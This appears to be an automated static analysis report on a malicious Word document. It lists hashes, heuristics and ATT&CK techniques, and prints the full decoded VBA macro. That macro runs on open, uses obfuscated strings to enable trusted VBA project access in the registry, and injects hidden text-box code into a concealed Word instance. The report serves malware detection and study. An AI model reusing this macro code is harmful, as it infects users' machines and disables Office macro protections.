Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d0162883390b0ef1…

MALICIOUS

Office (OOXML)

46.3 KB Created: 2021-05-12 10:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 9d5f114980ab145cdece1cf38366caee SHA-1: 0f80cf3da499d96f21171796f3929f2e79ced4ce SHA-256: d0162883390b0ef1f48670c067ba6c2a4dacf28f02fc1387d074520e32cc7313
170 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1137.001 Office Application Startup: VBA

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro utilizes WScript.Shell and CreateObject to execute commands, specifically attempting to write to the registry key HKCU\Software\Microsoft\Office\Word\Secur\Access1OM. The script's intent is to download and execute a second-stage payload, indicated by the use of Shell() and WScript.Shell, and the construction of a registry path that could be used for persistence or further execution.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Sub collectionReferenceGeneric()
    With CreateObject("wscript.shell")
    .RegWrite textTable & arrayLibRepo & ExConvertGlobal, 1, "REG_D" & UCase(ALoadMemory)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Sub vbProcedureView(countCaptionRequest As String)
    Set optionCaptionStorage = CreateObject("word.application")
    With optionCaptionStorage.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
    Sub AUTOOPEN()
    ExLinkDelete
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2135 bytes
SHA-256: 21292d8fd40c1c36c9ff94b5e805c5b018480a0b8c8f05596a8fe8dcf655bb3d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{D57E0727-C613-49EE-9116-E1B6472AA0BE}{8F5FDFC5-7A1C-4188-9356-03C6EC2412BF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "memoryBufCollection"
Function classArgument()
classArgument = UCase("_current_")
End Function
Function textboxButtonTmp()
textboxButtonTmp = "ware\Microsoft\Off"
End Function
Sub AUTOOPEN()
ExLinkDelete
Dim queryTrust As String
queryTrust = StrReverse(UserForm1.TextBox1)
vbProcedureView queryTrust
End Sub

Attribute VB_Name = "borderTrust"
Sub vbProcedureView(countCaptionRequest As String)
Set optionCaptionStorage = CreateObject("word.application")
With optionCaptionStorage.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString countCaptionRequest
End With
optionCaptionStorage.Visible = False
optionCaptionStorage.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "titleListLink"
Function textTable()
textTable = "HKEY" & classArgument & "USER\Soft" & textboxButtonTmp & "ice\"
End Function
Function ExConvertGlobal()
ExConvertGlobal = "\Word\Secur" & nextBuffer
End Function
Function nextBuffer()
nextBuffer = Replace("ity\Access1OM", "1", "VB")
End Function
Sub ExLinkDelete()
collectionReferenceGeneric
End Sub

Attribute VB_Name = "constStructLeft"
Function arrayLibRepo()
arrayLibRepo = Application.Version
End Function
Function ALoadMemory()
ALoadMemory = "word"
End Function
Sub collectionReferenceGeneric()
With CreateObject("wscript.shell")
.RegWrite textTable & arrayLibRepo & ExConvertGlobal, 1, "REG_D" & UCase(ALoadMemory)
End With
End Sub
Function lenListbox()
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: 93bca10bc7df7c01a1a4a781ff0703fcad705727c07216f486f936455394428c